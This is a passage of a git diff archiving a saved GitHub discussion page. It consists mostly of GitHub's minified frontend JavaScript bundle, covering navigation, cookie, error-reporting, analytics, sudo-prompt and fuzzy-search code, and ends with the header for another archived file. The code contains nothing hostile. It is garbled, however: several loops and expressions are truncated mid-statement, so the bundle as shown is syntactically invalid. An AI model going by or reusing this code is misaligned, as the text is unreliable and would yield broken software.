k=q;k.detail.fetchOptions.headers["Turbo-Visit"]="true"}const A=(0,C.I)(q.detail.url.pathname);if(A){const k=new URLSearchParams(q.detail.url.search);for(const[j,P]of Object.entries(A))P&&k.set(j,P);q.detail.url.search=k.toString()}}),document.addEventListener("turbo:frame-render",q=>{_(q.target)&&p()}),document.addEventListener(T.QE.START,m),document.addEventListener(T.QE.END,p);const b=Object.getOwnPropertyDescriptor(u.prototype,"reloadReason").get;Object.defineProperty(u.prototype,"reloadReason",{get(){const q=b.call(this);if(q.reason!=="tracked_element_mismatch")return q;const E=Object.fromEntries(v(this.currentHeadSnapshot)),A=[];for(const[k,j]of v(this.newHeadSnapshot))E[k]!==j&&A.push(k.replace(/^x-/,"").replaceAll("-","_"));return{reason:`tracked_element_mismatch-${A.join("-")}`}}});function*v(q){for(const E of Object.values(q.detailsByOuterHTML))if(E.tracked)for(const A of E.elements)A instanceof HTMLMetaElement&&A.getAttribute("http-equiv")&&(yield[A.getAttribute("http-equiv")||"",A.getAttribute("content")||""])}s(v,"getSnapshotSignatures");function L(q){const E=history[q];history[q]=function(A,k,j){var P;function M(O,V,H){E.call(this,{...A,...O},V,H)}s(M,"oldHistoryWithMergedState"),h.history.update(M,new URL(j||location.href,location.href),(P=A==null?void 0:A.turbo)==null?void 0:P.restorationIdentifier)}}s(L,"patchHistoryApi"),L("replaceState"),L("pushState")})();const x=s((u,g)=>{const h=new URL(u,window.location.origin),d=new URL(g,window.location.origin);return Boolean(d.hash)&&h.hash!==d.hash&&h.host===d.host&&h.pathname===d.pathname&&h.search===d.search},"isHashNavigation");document.addEventListener("turbo:click",function(u){if(!(u.target instanceof HTMLElement))return;const g=u.target.closest("[data-turbo-frame]");g instanceof HTMLElement&&u.target.setAttribute("data-turbo-frame",g.getAttribute("data-turbo-frame")||""),u instanceof CustomEvent&&x(location.href,u.detail.url)&&u.preventDefault()}),document.addEventListener("turbo:before-render",u=>{if(!(u instanceof CustomEvent))return;const g=u.detail.newBody.ownerDocument.documentElement,h=document.documentElement;for(const d of h.attributes)!g.hasAttribute(d.nodeName)&&d.nodeName!=="aria-busy"&&h.removeAttribute(d.nodeName);for(const d of g.attributes)h.getAttribute(d.nodeName)!==d.nodeValue&&h.setAttribute(d.nodeName,d.nodeValue)}),document.addEventListener("turbo:visit",T.LD),document.addEventListener("turbo:render",T.FP),document.addEventListener("beforeunload",T.FP),document.addEventListener("turbo:load",u=>{Object.keys(u.detail.timing).length===0?(0,T.OE)()||(0,T.Po)()?(0,T.Ys)():(0,T.F6)():(0,T.Xk)()}),document.addEventListener("turbo:before-visit",function(u){var g;const h=(g=window.onbeforeunload)==null?void 0:g.call(window,u);h&&(confirm(h)?window.onbeforeunload=null:u.preventDefault())}),document.addEventListener("turbo:reload",function(u){u instanceof CustomEvent&&(0,T.Ak)(u.detail.reason)}),document.addEventListener(T.QE.SUCCESS,()=>{if(location.hash==="")return;const u=document.createElement("a");u.href=`#${location.hash.slice(1)}`,u.click()})}const _=s(x=>(x==null?void 0:x.tagName)==="TURBO-FRAME","isTurboFrame")},95128:()=>{function $(){const f=document.createElement("div");return f.style.cssText="-ms-user-select: element; user-select: contain;",f.style.getPropertyValue("-ms-user-select")==="element"||f.style.getPropertyValue("-ms-user-select")==="contain"||f.style.getPropertyValue("user-select")==="contain"}s($,"supportsUserSelectContain");function D(f){if(!(f.target instanceof Element))return;const T=f.target.closest(".user-select-contain");if(!T)return;const c=window.getSelection();if(!c||!c.rangeCount||!c.rangeCount||c.type!=="Range")return;const C=c.getRangeAt(0).commonAncestorContainer;T.contains(C)||c.selectAllChildren(T)}s(D,"handleUserSelectContain"),$()||document.addEventListener("click",D)},29790:($,D,f)=>{"use strict";f.d(D,{Dw:()=>x,G5:()=>T,M9:()=>g,n6:()=>_});function T(b){const v=b.match(/#?(?:L)(\d+)((?:C)(\d+))?/g);if(v)if(v.length===1){const L=u(v[0]);return L?Object.freeze({start:L,end:L}):void 0}else if(v.length===2){const L=u(v[0]),q=u(v[1]);return!L||!q?void 0:m(Object.freeze({start:L,end:q}))}else return;else return}s(T,"parseBlobRange");function c(b){const{start:v,end:L}=m(b);return v.column!=null&&L.column!=null?`L${v.line}C${v.column}-L${L.line}C${L.column}`:v.line===L.line?`L${v.line}`:`L${v.line}-L${L.line}`}s(c,"formatBlobRange");function C(b){const v=b.match(/(file-.+?-)L\d+?/i);return v?v[1]:""}s(C,"parseAnchorPrefix");function _(b){const v=T(b),L=C(b);return{blobRange:v,anchorPrefix:L}}s(_,"parseFileAnchor");function x({anchorPrefix:b,blobRange:v}){return v?`#${b}${c(v)}`:"#"}s(x,"formatBlobRangeAnchor");function u(b){const v=b.match(/L(\d+)/),L=b.match(/C(\d+)/);return v?Object.freeze({line:parseInt(v[1]),column:L?parseInt(L[1]):null}):null}s(u,"parseBlobOffset");function g(b,v){const[L,q]=h(b.start,!0,v),[E,A]=h(b.end,!1,v);if(!L||!E)return;let k=q,j=A;if(k===-1&&(k=0),j===-1&&(j=E.childNodes.length),!L.ownerDocument)throw new Error("DOMRange needs to be inside document");const P=L.ownerDocument.createRange();return P.setStart(L,k),P.setEnd(E,j),P}s(g,"DOMRangeFromBlob");function h(b,v,L){const q=[null,0],E=L(b.line);if(!E)return q;if(b.column==null)return[E,-1];let A=b.column-1;const k=d(E);for(let j=0;j{"use strict";f.d(D,{P:()=>C,g:()=>_});var T=f(59753);const c=new WeakMap;function C(g){return c.get(g)}s(C,"getCodeEditor");async function _(g){return c.get(g)||x(await u(g,"codeEditor:ready"))}s(_,"getAsyncCodeEditor");function x(g){if(!(g instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=g.detail.editor;if(!g.target)throw new Error("assert: event.target is null");return c.set(g.target,h),h}s(x,"onEditorFromEvent"),(0,T.on)("codeEditor:ready",".js-code-editor",x);function u(g,h){return new Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · 